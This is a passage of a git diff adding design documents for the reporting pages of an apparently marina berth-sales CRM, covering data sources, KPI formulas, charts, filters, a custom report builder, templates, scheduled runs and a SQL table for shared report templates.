### `interest_berths` (multi-berth pipeline)
|
||||||
|
|
||||||
|
- `is_primary`, `is_specific_interest`, `is_in_eoi_bundle`
|
||||||
|
- One interest can target N berths; status of those berths drives
|
||||||
|
"Under Offer" public flag
|
||||||
|
|
||||||
|
### `berths`
|
||||||
|
|
||||||
|
- `status` (available/under_offer/sold)
|
||||||
|
- `area`, `mooringNumber`
|
||||||
|
- `price`, `priceCurrency`
|
||||||
|
- `lengthFt/widthFt/draftFt` + metric counterparts
|
||||||
|
- `tenureType`, `tenureYears`, `tenureStartDate`, `tenureEndDate`
|
||||||
|
- `statusLastModified`, `statusLastChangedReason`
|
||||||
|
|
||||||
|
### `tenancies`
|
||||||
|
|
||||||
|
- `status` (pending/active/ended/cancelled)
|
||||||
|
- `startDate`, `endDate`, `tenureType`
|
||||||
|
- Links to `berthId`, `clientId`, `yachtId`, `interestId`
|
||||||
|
- `previousTenancyId` (chain), `transferredFromTenancyId`
|
||||||
|
|
||||||
|
### `clients`
|
||||||
|
|
||||||
|
- `nationalityIso`, `preferredContactMethod`, `source`
|
||||||
|
- `createdAt`, `archivedAt`
|
||||||
|
- `clientContacts` (email/phone/whatsapp values)
|
||||||
|
- `clientNotes`, `clientTags` (categorisation)
|
||||||
|
|
||||||
|
### `invoices` + `payments` + `expenses`
|
||||||
|
|
||||||
|
- Invoices: status (draft/sent/paid/overdue/cancelled), `total`,
|
||||||
|
`subtotal`, `currency`, `dueDate`, `paymentDate`, `paymentTerms`,
|
||||||
|
`kind` (general/deposit), linked `interestId`
|
||||||
|
- Payments: amounts, dates, method, linked invoice
|
||||||
|
- Expenses: `amount`, `amountUsd`, `category`, `paymentStatus`,
|
||||||
|
`expenseDate`, `establishmentName`, `payer`
|
||||||
|
|
||||||
|
### `documents` + `document_signers` + `document_events`
|
||||||
|
|
||||||
|
- Send timestamps, sign timestamps, status per signer
|
||||||
|
- Document type, template id
|
||||||
|
- Full event audit (sent/viewed/signed/declined per recipient)
|
||||||
|
- `signedFileId`, `currentPdfVersionId`
|
||||||
|
|
||||||
|
### `websiteSubmissions` (inquiry intake)
|
||||||
|
|
||||||
|
- Source page, UTM-style attribution columns, raw payload, conversion
|
||||||
|
state (linked to which interest / client / berth)
|
||||||
|
- `convertedAt`, `convertedToInterestId`
|
||||||
|
|
||||||
|
### `audit_logs`
|
||||||
|
|
||||||
|
- Every entity mutation with `action`, `actor`, `oldValue`, `newValue`,
|
||||||
|
`createdAt` — full timeline of who-changed-what
|
||||||
|
|
||||||
|
### Already-aggregated data (existing dashboard endpoints we can reuse)
|
||||||
|
|
||||||
|
- `/api/v1/dashboard/forecast` — revenue forecast by stage × probability
|
||||||
|
- `/api/v1/dashboard/pipeline` — count + value per stage
|
||||||
|
- `/api/v1/dashboard/hot-deals` — high-pulse deals
|
||||||
|
- `/api/v1/dashboard/tenancy-occupancy` — occupancy timeline by area
|
||||||
|
- `/api/v1/dashboard/tenancy-revenue` — recognised revenue by month
|
||||||
|
- `/api/v1/dashboard/tenancy-renewals` — upcoming renewals
|
||||||
|
- `/api/v1/dashboard/tenancy-tenure` — tenure distribution
|
||||||
|
- `/api/v1/dashboard/source-conversion` — funnel by source
|
||||||
|
- `/api/v1/dashboard/clients-by-country` — geographic distribution
|
||||||
|
- `/api/v1/dashboard/berth-status` — status mix
|
||||||
|
- `/api/v1/dashboard/berth-heat` — recommender heat scores
|
||||||
|
- `/api/v1/dashboard/activity` — activity feed
|
||||||
|
- `/api/v1/dashboard/kpis` — top-line numbers
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Cross-cutting capabilities (apply to every report)
|
||||||
|
|
||||||
|
- **Date range filter** — preset (last 7d / 30d / quarter / year / YTD)
|
||||||
|
plus custom range picker.
|
||||||
|
- **Period comparison** — toggle to show "this period vs prior period"
|
||||||
|
(same length window immediately before). Drives delta arrows on KPI
|
||||||
|
cards.
|
||||||
|
- **Rep / assignee filter** — multi-select. Defaults to "all". For
|
||||||
|
ports with one rep this is hidden.
|
||||||
|
- **Source filter** — multi-select on `source` (website / referral /
|
||||||
|
broker / manual). Defaults to "all".
|
||||||
|
- **Currency normalization** — money values render in port-default
|
||||||
|
currency; underlying records may be USD/EUR/etc., conversion already
|
||||||
|
exists on expenses and can be extended to invoices.
|
||||||
|
- **Empty state** — every report renders gracefully on a port with no
|
||||||
|
data yet (e.g. fresh deploys) with a "this report needs data first"
|
||||||
|
hint pointing at the right onboarding step.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Report 01 — Sales performance ✅ LOCKED 2026-05-27
|
||||||
|
|
||||||
|
**Purpose:** answer "how is the sales team doing, who is doing the
|
||||||
|
work, where are deals stuck."
|
||||||
|
|
||||||
|
### KPI strip (7 tiles)
|
||||||
|
|
||||||
|
| # | Tile | Formula | Notes |
|
||||||
|
| --- | --------------------- | -------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| 1 | **Active interests** | `count(interests) WHERE archivedAt IS NULL AND outcome IS NULL` | All stages incl. nurturing |
|
||||||
|
| 2 | **Won this period** | `count(interests) WHERE outcome='won' AND outcomeAt IN range` | |
|
||||||
|
| 3 | **Lost this period** | `count(interests) WHERE outcome LIKE 'lost_%' OR outcome='cancelled' AND outcomeAt IN range` | **Breakdown chip:** `Lost: 8 (3 to competitor · 2 unqualified · 2 no-response · 1 cancelled)` |
|
||||||
|
| 4 | **Win rate** | `won / (won + lost_*) × 100%` — excludes `cancelled` | Render `—` when denom = 0. Period-over-period delta arrow when comparison toggle is on (`↑ +12pp`) |
|
||||||
|
| 5 | **Pipeline value** | `Σ ((berth.price OR depositExpectedAmount) × STAGE_WEIGHTS[stage])` for active interests | Berth price used when an `is_primary` interest_berth is set; else depositExpectedAmount; else 0. Currency normalised to port-default. Footnote: "X of Y interests have no value and aren't included." |
|
||||||
|
| 6 | **Avg time-to-close** | `median(outcomeAt - dateFirstContact)` for won deals in window | Adaptive unit: days (<60) / weeks (<24) / months. Skip interests with null `dateFirstContact`; footnote "based on N of M won deals." |
|
||||||
|
| 7 | **New leads** | `count(interests) WHERE createdAt IN range` — **includes archived** | **Breakdown chip:** `New leads: 24 (10 website · 8 referral · 4 broker · 2 manual)` |
|
||||||
|
|
||||||
|
### Charts (5)
|
||||||
|
|
||||||
|
1. **Pipeline funnel** (echarts horizontal funnel)
|
||||||
|
- **Frame:** counts per stage, all 7 stages including `nurturing` as its own step
|
||||||
|
- **Active interests only** (`archivedAt IS NULL AND outcome IS NULL`)
|
||||||
|
- **Drop-off label** on each connector: `Enquiry 24 → Qualified 12 (−50%)`
|
||||||
|
|
||||||
|
2. **Stage velocity** (recharts horizontal bar)
|
||||||
|
- Median days in each stage + faint p90 mark per bar
|
||||||
|
- Source: `audit_logs WHERE action='interest.stage_changed'` for transition timestamps
|
||||||
|
- Exclude stages with no exits yet (interests still sitting there)
|
||||||
|
|
||||||
|
3. **Win rate over time** (recharts line + faint area underlay)
|
||||||
|
- Line: win rate per bucket
|
||||||
|
- Underlay: total deals closed per bucket (gives volume context)
|
||||||
|
- **Bucket granularity (auto):** weekly ≤6mo · monthly ≤2yr · quarterly beyond
|
||||||
|
- Sparse buckets render as gaps, not zero
|
||||||
|
|
||||||
|
4. **Source → win conversion** (recharts stacked horizontal bar)
|
||||||
|
- One bar per source (website / referral / broker / manual)
|
||||||
|
- Segments coloured by outcome (won / lost-\* / cancelled / in-flight)
|
||||||
|
- PDF-friendly (no sankey)
|
||||||
|
|
||||||
|
5. **Rep leaderboard** (table with embedded mini-bars)
|
||||||
|
- Columns: rep · new · won · lost · in-flight · pipeline value · win rate · avg time-to-close
|
||||||
|
- Sortable by any numeric column
|
||||||
|
- **Single-rep collapse:** when only one rep has deals in the window, skip this chart and render the Rep performance detail (Table 1) directly
|
||||||
|
- **Attribution:** current `assignedTo` gets full credit; tooltip flags deals that were reassigned mid-cycle
|
||||||
|
|
||||||
|
### Deal heat section (between leaderboard and tables)
|
||||||
|
|
||||||
|
Folded-in pulse data from existing dashboard infrastructure.
|
||||||
|
|
||||||
|
- **Hot deals count** — KPI-style tile, count of interests above `pulse_label_hot` threshold
|
||||||
|
- **Pulse distribution** — 3-segment horizontal bar (hot / warm / cold counts)
|
||||||
|
- **Hottest deals right now** — top 5 by pulse score: client · stage · value · pulse · rep
|
||||||
|
|
||||||
|
### Tables (5)
|
||||||
|
|
||||||
|
1. **Rep performance detail** — leaderboard columns + expandable open-deals list per rep
|
||||||
|
- Open deals list columns: client · primary berth · stage · stage value · days in stage · last contact
|
||||||
|
- **Web:** collapsed by default, expand chevron
|
||||||
|
- **PDF:** always rendered inline (no expander affordance possible in print)
|
||||||
|
|
||||||
|
2. **Stalled deals** — active interests not contacted within stage-aware thresholds
|
||||||
|
- **Thresholds:** enquiry 21d · qualified 14d · nurturing 60d · eoi 10d · reservation 7d · deposit_paid 7d · contract 5d (admin-configurable later)
|
||||||
|
- Columns: client · stage · days since last contact · days in stage · value · rep · quick "log contact" button
|
||||||
|
- Sort: stage value desc (most valuable stalled deals first)
|
||||||
|
- **Null `dateLastContact`** → treat as never contacted → always stalled
|
||||||
|
|
||||||
|
3. **Closing this month** — late-stage active deals (`reservation` / `deposit_paid` / `contract`) sorted by stage value desc
|
||||||
|
- The inverse of stalled; the "don't drop these" list
|
||||||
|
- Same columns as stalled minus the "days since contact" column
|
||||||
|
|
||||||
|
4. **Recent wins** — last 5 won deals, celebratory strip
|
||||||
|
- Columns: client · primary berth · final value · days to close · rep
|
||||||
|
- Source: `interests WHERE outcome='won' ORDER BY outcomeAt DESC LIMIT 5`
|
||||||
|
|
||||||
|
5. **Lost-reason breakdown** — detail of the KPI 3 chip
|
||||||
|
- Columns: outcome reason · count · total value lost · avg days from first contact to loss
|
||||||
|
- Source: group `interests WHERE outcome LIKE 'lost_%' OR outcome='cancelled'` AND outcomeAt IN range by `outcome`
|
||||||
|
|
||||||
|
### Filters
|
||||||
|
|
||||||
|
- **Cross-cutting** (every report): date range preset/custom, period comparison toggle, rep multi-select (hidden when 1 rep), source multi-select (hidden when 1 source)
|
||||||
|
- **Sales-specific:**
|
||||||
|
- **Stage filter** — restrict funnel + tables to subset of stages
|
||||||
|
- **Lead category filter** — general / qualified / hot
|
||||||
|
- **Outcome filter** — won / each lost-reason variant (mostly for the lost-reason breakdown post-mortem)
|
||||||
|
|
||||||
|
### Currency handling
|
||||||
|
|
||||||
|
- All monetary values render in port-default currency (per branding settings)
|
||||||
|
- Underlying records can be in any currency; convert at render time
|
||||||
|
- Render with thousand-separator + currency symbol (e.g. `€1,250,000`)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Report 02 — Financial
|
||||||
|
|
||||||
|
**Purpose:** answer "what revenue did we collect, what's outstanding,
|
||||||
|
where is the cash flow going."
|
||||||
|
|
||||||
|
### KPI strip
|
||||||
|
|
||||||
|
| Metric | Source | Notes |
|
||||||
|
| ----------------------------- | ---------------------------------------------------------------------------------- | --------------------------------- |
|
||||||
|
| Revenue collected | Σ `invoices.total WHERE paymentStatus='paid' AND paymentDate IN range` | Sum across currencies, normalised |
|
||||||
|
| Pipeline (forecasted revenue) | Existing dashboard `forecast` endpoint | Σ deposit_expected × stage weight |
|
||||||
|
| Deposits collected | Σ `invoices.total WHERE kind='deposit' AND status='paid' AND paymentDate IN range` | |
|
||||||
|
| Outstanding AR | Σ `invoices.total WHERE status IN ('sent','overdue') AND archivedAt IS NULL` | |
|
||||||
|
| Overdue AR | Σ above filtered to `dueDate < today` | |
|
||||||
|
| Expenses (period) | Σ `expenses.amountUsd WHERE expenseDate IN range AND archivedAt IS NULL` | USD-normalised |
|
||||||
|
| Net contribution | revenue - expenses | Optional |
|
||||||
|
|
||||||
|
### Charts
|
||||||
|
|
||||||
|
1. **Revenue by month** (bar chart) — Stacked by `kind` (general vs
|
||||||
|
deposit). 12 months trailing window default.
|
||||||
|
2. **Revenue by quarter / year** (toggleable granularity) — Same data,
|
||||||
|
different bucket.
|
||||||
|
3. **Funnel: EOI → Deposit → Contract → Revenue** (funnel chart,
|
||||||
|
echarts) — Counts at each stage in the period to highlight leakage.
|
||||||
|
4. **AR aging** (stacked horizontal bar) — Buckets: current, 1-30,
|
||||||
|
31-60, 61-90, 90+. Per bucket: count + total value.
|
||||||
|
5. **Cash flow** (line chart, two series) — Inflow (payments received)
|
||||||
|
and outflow (expenses paid) over time.
|
||||||
|
6. **Expense breakdown** (donut) — By `category` for the period.
|
||||||
|
|
||||||
|
### Tables
|
||||||
|
|
||||||
|
1. **Outstanding invoices** — Invoice #, client, due date, days
|
||||||
|
overdue, amount, payment terms. Sort by overdue desc.
|
||||||
|
2. **Recent payments** — Date, invoice, client, amount, method.
|
||||||
|
3. **Refund / write-off log** — Cancelled invoices with reasons.
|
||||||
|
4. **Expense ledger** — Date, payer, category, amount, payment status,
|
||||||
|
linked trip.
|
||||||
|
|
||||||
|
### Filters
|
||||||
|
|
||||||
|
- Invoice kind (deposit / general)
|
||||||
|
- Payment status
|
||||||
|
- Currency
|
||||||
|
- Billing entity type (client / company)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Report 03 — Marketing & funnel
|
||||||
|
|
||||||
|
**Purpose:** answer "where are leads coming from, which sources are
|
||||||
|
worth the marketing spend, where do we lose people in the funnel."
|
||||||
|
|
||||||
|
### KPI strip
|
||||||
|
|
||||||
|
| Metric | Source | Notes |
|
||||||
|
| -------------------------------- | ------------------------------------------------------------------- | ---------------------- |
|
||||||
|
| Inquiries this period | `count(websiteSubmissions WHERE createdAt IN range)` | |
|
||||||
|
| Inquiries → interest conversion | `count(websiteSubmissions WHERE convertedAt IN range) / count(...)` | % |
|
||||||
|
| Inquiries → EOI conversion | Same with `interest.dateEoiSent NOT NULL` | |
|
||||||
|
| Inquiries → won conversion | Same with `interest.outcome='won'` | |
|
||||||
|
| Top source | `source` with highest converted count | Card with name + count |
|
||||||
|
| Avg time inquiry → first contact | Median(`interest.dateFirstContact - websiteSubmission.createdAt`) | Hrs / days |
|
||||||
|
|
||||||
|
### Charts
|
||||||
|
|
||||||
|
1. **Inquiries by source** (donut + bar) — Count per source for the
|
||||||
|
period.
|
||||||
|
2. **Source ROI** (stacked horizontal bar) — Per source: total count,
|
||||||
|
won count, won value. Sort by value desc.
|
||||||
|
3. **Funnel: Inquiry → Qualified → EOI → Reservation → Won** (vertical
|
||||||
|
funnel) — Conversion at each stage.
|
||||||
|
4. **Conversion trend** (line chart) — Inquiry → won conversion %
|
||||||
|
plotted weekly.
|
||||||
|
5. **Country of origin** (geo map via `react-simple-maps`, already
|
||||||
|
approved) — Inquiries by `nationalityIso` of resulting client.
|
||||||
|
6. **Time-to-respond histogram** — Buckets of "minutes from inquiry to
|
||||||
|
first contact." Highlights slow response times.
|
||||||
|
|
||||||
|
### Tables
|
||||||
|
|
||||||
|
1. **Top-converting sources** — Source, count, win rate, total revenue,
|
||||||
|
avg time-to-close.
|
||||||
|
2. **Recent inquiries** — Date, source, name, mooring, status (open /
|
||||||
|
converted / discarded), rep.
|
||||||
|
3. **Stuck inquiries** — Submitted >X days ago, not yet contacted.
|
||||||
|
|
||||||
|
### Filters
|
||||||
|
|
||||||
|
- Specific source (drill-down)
|
||||||
|
- Mooring (which berth pages drive conversion)
|
||||||
|
- UTM campaign (if/when we add UTM tracking — currently only `source`)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Report 04 — Operational ✅ LOCKED 2026-05-27
|
||||||
|
|
||||||
|
**Purpose:** answer "how full are we, how long do tenancies last,
|
||||||
|
where are operational bottlenecks (signing, occupancy turnover)."
|
||||||
|
|
||||||
|
**Conditional behaviour:** half this report (tenancy charts + KPIs)
|
||||||
|
depends on `tenancies_module_enabled = true`. When the module is off,
|
||||||
|
those tiles render `—` with a "Tenancies module disabled" hint and
|
||||||
|
the tenancy charts/tables are omitted entirely (replaced with a
|
||||||
|
single "Enable tenancies in System Settings to populate this section"
|
||||||
|
banner).
|
||||||
|
|
||||||
|
### KPI strip (7 tiles; some auto-hide)
|
||||||
|
|
||||||
|
| # | Tile | Formula | Notes |
|
||||||
|
| --- | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| 1 | **Total berths** | `count(berths) WHERE archivedAt IS NULL` | Physical inventory |
|
||||||
|
| 2 | **Sold %** | `count(status='sold') / total × 100%` | Period-over-period delta computed from `audit_logs` (entity_type='berth', action='status_changed'). All historical changes incl. accidental/manual ones are reflected — the audit log is the truth source |
|
||||||
|
| 3 | **Under offer %** | Live compute from `interest_berths`: any berth with an active `is_specific_interest=true` link whose interest has open outcome | Quality-first source; catches drift where `berths.status` column lags the link table |
|
||||||
|
| 4 | **Active tenancies** | `count(berth_tenancies) WHERE status='active'` | Module-OFF → `—` |
|
||||||
|
| 5 | **Avg tenancy length** | `median(endDate - startDate)` for `status='ended'` tenancies, in years (1 decimal) | Module-OFF → `—`. Need ≥3 ended tenancies for meaningful median; otherwise `—` with hint |
|
||||||
|
| 6 | **Signing turnaround (per type)** | `median(document.completedAt - document.sentAt)` per document type | Three small stats in one tile: `EOI 4.2d · Reservation 6.8d · Contract 12.4d`. Excludes voided + declined |
|
||||||
|
| 7 | **Berths in conflict** | `count(berths WHERE >1 active interest has is_specific_interest=true)` | **Hidden when 0**; appears (and reads red) when ≥1 conflict — the "two clients want the same berth" alarm |
|
||||||
|
|
||||||
|
### Charts (7)
|
||||||
|
|
||||||
|
1. **Berth utilisation timeline** (echarts heatmap)
|
||||||
|
- Grid: `area × month`; cell colour = % occupied (sold + under-offer) in that area that month
|
||||||
|
- **Range:** user-pickable, default trailing 24 months
|
||||||
|
- Reuses `audit_logs` reconstruction (same engine as KPI 2)
|
||||||
|
|
||||||
|
2. **Status mix over time** (recharts stacked area, with **toggle**)
|
||||||
|
- Two views: proportional (100%-stacked) AND absolute counts
|
||||||
|
- Toggle button on the chart switches between them
|
||||||
|
- 3 series: available / under_offer / sold
|
||||||
|
|
||||||
|
3. **Tenancy churn waterfall** _(module ON)_ (echarts waterfall)
|
||||||
|
- Per bucket: `+ new active`, `− ended`, `= net Δ`
|
||||||
|
- **Bucket: auto-pick** — monthly if avg >2 events/month, else quarterly
|
||||||
|
|
||||||
|
4. **Tenure distribution** _(module ON)_ (recharts histogram bar)
|
||||||
|
- Marina-tuned buckets: `<1y` / `1–5y` / `5–10y` / `10–20y` / `20y+`
|
||||||
|
- Ended tenancies only (active ones have no end date yet)
|
||||||
|
|
||||||
|
5. **Signing turnaround box plot** (echarts)
|
||||||
|
- One box per document type (EOI / Reservation / Contract)
|
||||||
|
- Median + quartiles + whiskers + outlier dots
|
||||||
|
- Excludes voided + declined
|
||||||
|
|
||||||
|
6. **Occupancy by area** (recharts stacked horizontal bar)
|
||||||
|
- One bar per area; segments coloured sold / under_offer / available
|
||||||
|
- Scales cleanly to 10+ areas (vs donut-per-area which doesn't)
|
||||||
|
|
||||||
|
7. **Documents in pipeline** (recharts stacked bar)
|
||||||
|
- Per document type, count by current status (`pending` / `sent` / `signed` / `declined` / `voided`)
|
||||||
|
- Spots stuck batches at a glance
|
||||||
|
|
||||||
|
### Tables (4)
|
||||||
|
|
||||||
|
1. **Tenancies ending soon** _(module ON)_
|
||||||
|
- Window: **next 6 months** (default)
|
||||||
|
- Columns: client · berth · tenure type · end date · days until end · quick action (renew / end)
|
||||||
|
- Sort: `endDate` asc
|
||||||
|
|
||||||
|
2. **Berths with no current owner**
|
||||||
|
- Threshold: available for **>60 days**
|
||||||
|
- Columns: mooring · area · dimensions · price · days available · last viewed date (from public berth-page analytics if available)
|
||||||
|
|
||||||
|
3. **Stuck signing**
|
||||||
|
- **Document-type-aware thresholds:** EOI >10d / Reservation >7d / Contract >5d
|
||||||
|
- Columns: document type · client · sent date · days outstanding · next signer · resend button
|
||||||
|
|
||||||
|
4. **Highest-value vacant berths**
|
||||||
|
- Available berths sorted by `price` desc
|
||||||
|
- Columns: mooring · area · dimensions · price · days available
|
||||||
|
- Sales-focus list
|
||||||
|
|
||||||
|
### Filters
|
||||||
|
|
||||||
|
- **Cross-cutting** (auto-hidden when not relevant): date range + comparison toggle + rep + source
|
||||||
|
- **Operational-specific:**
|
||||||
|
- **Berth area** — multi-select; restricts heatmap + tables
|
||||||
|
- **Tenure type** — permanent / fixed-term (affects tenancy charts + ending-soon table)
|
||||||
|
- **Document type** — EOI / Reservation / Contract (affects signing chart + stuck-signing)
|
||||||
|
- **Status filter** — for the heatmap/status-mix views: which statuses to display
|
||||||
|
|
||||||
|
### Currency handling
|
||||||
|
|
||||||
|
- All berth prices render in port-default currency
|
||||||
|
- Underlying records can be in any currency; convert at render time
|
||||||
|
- Render with thousand-separator + currency symbol
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Report 05 — Custom (ad-hoc composer)
|
||||||
|
|
||||||
|
**Purpose:** answer questions the canonical reports don't cover.
|
||||||
|
|
||||||
|
### Composition surface
|
||||||
|
|
||||||
|
1. **Pick an entity** (one): Clients, Yachts, Companies, Interests,
|
||||||
|
Berths, Tenancies, Invoices, Expenses, Documents,
|
||||||
|
Website Submissions.
|
||||||
|
2. **Pick columns** — checkbox list of available columns for that
|
||||||
|
entity, with sensible defaults pre-checked. Includes computed
|
||||||
|
columns where they exist (e.g. `daysOverdue` on invoices).
|
||||||
|
3. **Add filters** — one row per filter; each row: column → operator
|
||||||
|
(=, ≠, in, contains, > <, between, is null) → value picker
|
||||||
|
appropriate to the column type. AND/OR between rows.
|
||||||
|
4. **Group by** (optional single dimension) — column from the entity.
|
||||||
|
5. **Sort** — column + direction.
|
||||||
|
6. **Aggregate** (when group-by is set) — count, sum, avg, min, max
|
||||||
|
on each numeric column.
|
||||||
|
7. **Live preview** — first 50 rows render as you build, server query
|
||||||
|
re-runs on debounced change.
|
||||||
|
8. **Save** — three buttons:
|
||||||
|
- **Run once** — generate the report and add to library, no
|
||||||
|
template saved.
|
||||||
|
- **Save as template** — name + scope (personal / port-wide).
|
||||||
|
- **Update existing template** — only visible if you opened from a
|
||||||
|
template.
|
||||||
|
|
||||||
|
### Permissions
|
||||||
|
|
||||||
|
- Column whitelist per entity per role. A rep without
|
||||||
|
`clients.view_pii` cannot pick `email` or `phone` columns. Same
|
||||||
|
enforcement on the server-side row filter.
|
||||||
|
- Filtering is always tenant-scoped via `port_id` (defense in depth).
|
||||||
|
|
||||||
|
### Output
|
||||||
|
|
||||||
|
- Same export buttons (PDF / CSV / Excel) as canonical reports.
|
||||||
|
- PDF treatment uses the standard branded shell.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Templates system
|
||||||
|
|
||||||
|
Applies to all 5 categories.
|
||||||
|
|
||||||
|
### Lifecycle
|
||||||
|
|
||||||
|
1. **Open a builder** — defaults to "Untitled" config.
|
||||||
|
2. **Modify any filter / column / range** — header shows "Modified ●"
|
||||||
|
indicator.
|
||||||
|
3. **Save** — three options:
|
||||||
|
- Overwrite the loaded template (if any).
|
||||||
|
- Save as new (prompts for name + scope).
|
||||||
|
- Discard changes.
|
||||||
|
4. **Templates page** — list of all templates, per-template actions:
|
||||||
|
open, run, schedule, share, archive.
|
||||||
|
|
||||||
|
### Scope
|
||||||
|
|
||||||
|
- **Personal** — visible only to creator. Can be promoted to port-wide
|
||||||
|
later.
|
||||||
|
- **Port-wide** — visible to all reps in the port; editable only by
|
||||||
|
admins. "Owned by" name shown.
|
||||||
|
|
||||||
|
### Storage
|
||||||
|
|
||||||
|
- `report_templates` table already exists (per `schema/reports.ts`),
|
||||||
|
audit to confirm shape matches the lifecycle above.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Schedules
|
||||||
|
|
||||||
|
### Schedule object
|
||||||
|
|
||||||
|
- `templateId` — the report to run
|
||||||
|
- `cron` expression OR friendly cadence (daily 9am, weekly Mondays,
|
||||||
|
monthly 1st)
|
||||||
|
- `emailEnabled` — boolean. When true, fires email; when false, only
|
||||||
|
drops into runs library.
|
||||||
|
- `recipients` — array of email addresses (only used when
|
||||||
|
`emailEnabled`)
|
||||||
|
- `format` — pdf / csv / xlsx — what to attach to the email
|
||||||
|
- `lastRunAt`, `nextRunAt`, `lastResult` (success / failure)
|
||||||
|
|
||||||
|
### Worker
|
||||||
|
|
||||||
|
- BullMQ recurring job already exists in the stack; one queue
|
||||||
|
`report-runs` does both on-demand and scheduled runs.
|
||||||
|
- Failure surface: email the schedule creator on first failure (with
|
||||||
|
short error), backoff retry once, mark `lastResult='failure'`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Open questions for the user
|
||||||
|
|
||||||
|
1. **AR aging buckets.** Do we use 30-day buckets or 14-day buckets?
|
||||||
|
30 is industry standard; 14 catches issues earlier.
|
||||||
|
2. **Currency normalisation for revenue.** USD or EUR as default? Or
|
||||||
|
the port's `branding_default_currency`?
|
||||||
|
3. **Sales rep visibility.** Should a rep see ONLY their own metrics
|
||||||
|
on Sales Performance by default (with admins seeing the full
|
||||||
|
leaderboard), or always the full team?
|
||||||
|
4. **Inquiry → interest auto-link rule.** We've got `convertedAt` on
|
||||||
|
`websiteSubmissions` and `sourceInquiryId` on `clients`. Is every
|
||||||
|
conversion captured today, or are some manual links missed (which
|
||||||
|
would skew the marketing report)?
|
||||||
|
5. **"Pulse" / heat data.** Should the Sales report surface the deal
|
||||||
|
pulse metric, or is that a separate "Deal Pulse" report?
|
||||||
|
6. **Geographic chart.** The `react-simple-maps` library is approved
|
||||||
|
(per memory). Are we OK to use it for the Marketing country chart,
|
||||||
|
or is that scope creep?
|
||||||
|
7. **Custom builder entity scope.** All 10 entities above, or start
|
||||||
|
with the 4 sales-core ones (Clients, Yachts, Interests, Berths)
|
||||||
|
and expand later?
|
||||||
278
docs/reports-page-design.md
Normal file
278
docs/reports-page-design.md
Normal file
@@ -0,0 +1,278 @@
|
|||||||
|
# Reports Page Design (`/{portSlug}/reports`)
|
||||||
|
|
||||||
|
> **Status:** Design doc. All Q-block decisions locked 2026-05-24 via AskUserQuestion in the alpha UAT master doc. Implementation phased into discrete PRs at the end.
|
||||||
|
|
||||||
|
## Goals & non-goals
|
||||||
|
|
||||||
|
**Goals**
|
||||||
|
|
||||||
|
- Promote PDF report generation from a cramped dashboard dialog (~25 widgets and growing) to a dedicated landing + builder page.
|
||||||
|
- Support saved-template management (rename / archive / share-with-team / duplicate).
|
||||||
|
- Add run history so reps can answer "send me the same report Sarah ran last month."
|
||||||
|
- Scheduled recurring reports (weekly / monthly / quarterly) with per-recipient email delivery.
|
||||||
|
- One-click "Generate & email" alongside "Generate & download."
|
||||||
|
- CSV + PNG/JPEG chart-snapshot outputs alongside the existing PDF.
|
||||||
|
- Per-report metadata overrides: title, subtitle, cover-page branding swap.
|
||||||
|
|
||||||
|
**Non-goals (v1)**
|
||||||
|
|
||||||
|
- Excel workbook output (`xlsx`) — defer; PDF + CSV cover the asks.
|
||||||
|
- Public hosted-HTML share-link to a report — defer.
|
||||||
|
- Cover-page intro paragraph + footer/sign-off — defer; title/subtitle is enough.
|
||||||
|
- A separate "Reports admin" page; admin controls live alongside the same `/reports` surface gated by `reports.admin`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Routing
|
||||||
|
|
||||||
|
```
|
||||||
|
/{portSlug}/reports
|
||||||
|
├── (default view) Landing: every report kind as a card with "Generate" CTA + the port's saved templates
|
||||||
|
├── /[kind] Per-report-kind builder (two-panel: sections checklist + live preview)
|
||||||
|
├── /templates Shared-templates manager (rename / archive / duplicate / share)
|
||||||
|
├── /runs Run history (re-run / re-email)
|
||||||
|
└── /schedules Active recurring schedules (pause / edit recipients / cadence)
|
||||||
|
```
|
||||||
|
|
||||||
|
The existing dashboard "Export as PDF" button is rewired to navigate to `/{portSlug}/reports/dashboard?range=YYYY-MM-DD..YYYY-MM-DD` with the active date range pre-filled. One-click access preserved; rep lands in the full builder with everything pre-selected and the PDF preview ready.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Data model
|
||||||
|
|
||||||
|
Three new tables.
|
||||||
|
|
||||||
|
### `report_templates_shared`
|
||||||
|
|
||||||
|
Per-port, port-scoped, optionally shared with the whole team.
|
||||||
|
|
||||||
|
```sql
|
||||||
|
CREATE TABLE report_templates_shared (
|
||||||
|
id text PRIMARY KEY DEFAULT gen_random_uuid()::text,
|
||||||
|
port_id text NOT NULL REFERENCES ports(id) ON DELETE CASCADE,
|
||||||
|
name text NOT NULL,
|
||||||
|
description text,
|
||||||
|
-- The report-kind union ('dashboard' | 'website-analytics' | 'client-summary' | 'interest-summary' | 'berth-spec' | 'occupancy' | …).
|
||||||
|
-- Same vocabulary the existing PDF exporter uses.
|
||||||
|
kind text NOT NULL,
|
||||||
|
-- Widget selection + per-widget option overrides + report metadata.
|
||||||
|
config jsonb NOT NULL,
|
||||||
|
-- 'private' = creator only; 'team' = anyone with reports.export at this port.
|
||||||
|
visibility text NOT NULL DEFAULT 'private',
|
||||||
|
created_by text NOT NULL REFERENCES "user"(id) ON DELETE RESTRICT,
|
||||||
|
archived_at timestamptz,
|
||||||
|
created_at timestamptz NOT NULL DEFAULT now(),
|
||||||
|
updated_at timestamptz NOT NULL DEFAULT now()
|
||||||
|
);
|
||||||
|
CREATE INDEX report_templates_shared_port_kind_idx ON report_templates_shared(port_id, kind);
|
||||||
|
CREATE INDEX report_templates_shared_port_visibility_idx ON report_templates_shared(port_id, visibility);
|
||||||
|
```
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
|
||||||
|
- `config.sections: string[]` — widget ids, same shape as today's dialog.
|
